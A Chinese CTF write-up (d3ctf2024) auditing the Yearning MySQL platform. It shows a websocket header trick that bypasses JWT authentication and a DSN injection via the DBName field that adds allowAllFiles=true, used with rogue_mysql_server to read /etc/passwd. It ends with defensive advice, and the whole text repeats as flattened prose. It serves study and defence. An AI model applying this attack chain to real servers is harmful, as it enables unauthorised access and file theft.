记一次golang的dsn注入之旅
字数 1625 2025-08-19 12:41:58

Golang DSN注入与审计实战:以Yearning-MySQL审计平台为例

0x01 前言

本文详细分析d3ctf2024中Yearning-MySQL审计平台的漏洞,重点讲解Golang代码审计技巧、DSN注入原理及rouge_mysql_server工具的使用。通过本案例,您将掌握:

  1. Golang Web应用的安全审计方法
  2. DSN注入漏洞的原理与利用
  3. Websocket协议的安全隐患
  4. 使用rouge_mysql_server进行攻击验证

0x02 环境搭建

前端搭建

# 克隆前端项目
git clone https://github.com/cookieY/Yearning-gemini

# 设置npm源
npm config set registry https://registry.npm.taobao.org

# 编译前端
cd Yearning-gemini
npm install --force
npm install -legacy-peer-deps
npm run build

# 将编译结果移动到后端目录
mv dist ../Yearning/src/service

后端搭建

# 克隆后端项目
git clone https://github.com/cookieY/Yearning

# 解决依赖
cd Yearning
go mod tidy

# 运行
go run main.go

重要配置说明

  • conf.toml中host不能设置为127.0.0.1
  • 本地docker MySQL数据库名默认为"Yearning"

0x03 Websocket协议安全分析

Websocket协议特点

  • 基于HTTP协议改进,实现客户端与服务端双向通信
  • 连接建立后保持持久连接,直到主动断开
  • 适用于实时应用:网页游戏、聊天、证券交易等

安全风险点

router.go中,/api/v2路由组使用JWTWithConfig中间件进行鉴权,但存在特殊绕过:

if isWebsocket(c.Request()) {
    return
}

绕过条件

  • HTTP请求头包含:
    Connection: upgrade
    Upgrade: websocket
    
  • Websocket请求自动包含这些头部,可直接绕过鉴权

验证工具
推荐使用Apifox进行Websocket请求测试

0x04 DSN注入漏洞分析

漏洞位置

fetchtableinfo函数中的u.FetchTableFieldsOrIndexes可设置DSN参数

漏洞原理

  1. 关键逻辑

    • source_id无效时,model.DSN其他字段会被置空
    • model.NewDBSub函数中先FormatDSN拼接字符串,再ParseDSN解析成对象
  2. DSN处理流程

    • InitDSN执行formatDSN操作(结构体→字符串)
    • driver.New执行parseDSN操作(字符串→结构体)
  3. 注入点

    • 只有DBName字段完全可控
    • parseDSN是倒序解析,寻找/符号后的数据库名

DSN格式分析

合法DSN格式示例:

admin:123456@tcp(192.168.193.205:3307)/foo?allowAllFiles=true&

关键参数

  • allowAllFiles=true:允许加载本地文件(攻击必要条件)

0x05 攻击实施

攻击准备

  1. 使用rmb122的rogue_mysql_server项目:

    git clone https://github.com/rmb122/rogue_mysql_server
    cd rogue_mysql_server
    
    # 生成配置文件模板
    ./rogue_mysql_server -generate
    
    # 启动恶意服务器
    ./rogue_mysql_server -config config.yaml
    
  2. 确保VPS安全组开放相应端口

攻击步骤

  1. 构造恶意Websocket请求:

    • 地址:ws://target/api/v2/fetch/fields
    • 注入恶意DSN到DBName参数
  2. 请求示例格式:

    {
      "source_id": "invalid_id",
      "db_name": "malicious_db?allowAllFiles=true&",
      // 其他必要参数...
    }
    
  3. 通过rogue_mysql_server读取目标文件:

    • 成功读取/etc/passwd等敏感文件

0x06 其他漏洞点

SQL盲注

FetchTableFieldsOrIndexes函数中的show语句存在字符串拼接,可能导致SQL盲注:

// 伪代码示例
query := "SHOW " + userInput + " FROM..."

利用方式

  • 通过时间延迟等技术进行盲注攻击
  • 需要进一步分析具体业务逻辑

0x07 防御措施

  1. DSN注入防御

    • 严格校验DBName等输入参数
    • 使用预定义的DSN模板而非拼接
    • 禁用危险参数如allowAllFiles
  2. Websocket安全

    • 即使Websocket请求也应进行完整鉴权
    • 不要因为协议不同而跳过安全检查
  3. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用参数化查询避免SQL注入
  4. 最小权限原则

    • 数据库账户使用最小必要权限
    • 禁止FILE等危险权限

0x08 总结

通过本案例我们学习到:

  1. Golang应用审计需要关注DSN处理逻辑
  2. Websocket协议实现不当可能导致鉴权绕过
  3. DSN注入可导致RCE或敏感信息泄露
  4. rogue_mysql_server是验证MySQL相关漏洞的有效工具

关键收获

  • 深入理解Golang数据库连接处理机制
  • 掌握DSN注入的完整攻击链
  • 学习到实际审计中的调试技巧和工具使用
Golang DSN注入与审计实战:以Yearning-MySQL审计平台为例 0x01 前言 本文详细分析d3ctf2024中Yearning-MySQL审计平台的漏洞,重点讲解Golang代码审计技巧、DSN注入原理及rouge_ mysql_ server工具的使用。通过本案例,您将掌握: Golang Web应用的安全审计方法 DSN注入漏洞的原理与利用 Websocket协议的安全隐患 使用rouge_ mysql_ server进行攻击验证 0x02 环境搭建 前端搭建 后端搭建 重要配置说明 : conf.toml 中host不能设置为127.0.0.1 本地docker MySQL数据库名默认为"Yearning" 0x03 Websocket协议安全分析 Websocket协议特点 基于HTTP协议改进,实现客户端与服务端双向通信 连接建立后保持持久连接,直到主动断开 适用于实时应用:网页游戏、聊天、证券交易等 安全风险点 在 router.go 中, /api/v2 路由组使用JWTWithConfig中间件进行鉴权,但存在特殊绕过: 绕过条件 : HTTP请求头包含: Websocket请求自动包含这些头部,可直接绕过鉴权 验证工具 : 推荐使用Apifox进行Websocket请求测试 0x04 DSN注入漏洞分析 漏洞位置 fetchtableinfo 函数中的 u.FetchTableFieldsOrIndexes 可设置DSN参数 漏洞原理 关键逻辑 : 当 source_id 无效时, model.DSN 其他字段会被置空 model.NewDBSub 函数中先 FormatDSN 拼接字符串,再 ParseDSN 解析成对象 DSN处理流程 : InitDSN 执行 formatDSN 操作(结构体→字符串) driver.New 执行 parseDSN 操作(字符串→结构体) 注入点 : 只有 DBName 字段完全可控 parseDSN 是倒序解析,寻找 / 符号后的数据库名 DSN格式分析 合法DSN格式示例: 关键参数 : allowAllFiles=true :允许加载本地文件(攻击必要条件) 0x05 攻击实施 攻击准备 使用rmb122的rogue_ mysql_ server项目: 确保VPS安全组开放相应端口 攻击步骤 构造恶意Websocket请求: 地址: ws://target/api/v2/fetch/fields 注入恶意DSN到DBName参数 请求示例格式: 通过rogue_ mysql_ server读取目标文件: 成功读取 /etc/passwd 等敏感文件 0x06 其他漏洞点 SQL盲注 FetchTableFieldsOrIndexes 函数中的 show 语句存在字符串拼接,可能导致SQL盲注: 利用方式 : 通过时间延迟等技术进行盲注攻击 需要进一步分析具体业务逻辑 0x07 防御措施 DSN注入防御 : 严格校验DBName等输入参数 使用预定义的DSN模板而非拼接 禁用危险参数如 allowAllFiles Websocket安全 : 即使Websocket请求也应进行完整鉴权 不要因为协议不同而跳过安全检查 输入验证 : 对所有用户输入进行严格过滤 使用参数化查询避免SQL注入 最小权限原则 : 数据库账户使用最小必要权限 禁止FILE等危险权限 0x08 总结 通过本案例我们学习到: Golang应用审计需要关注DSN处理逻辑 Websocket协议实现不当可能导致鉴权绕过 DSN注入可导致RCE或敏感信息泄露 rogue_ mysql_ server是验证MySQL相关漏洞的有效工具 关键收获 : 深入理解Golang数据库连接处理机制 掌握DSN注入的完整攻击链 学习到实际审计中的调试技巧和工具使用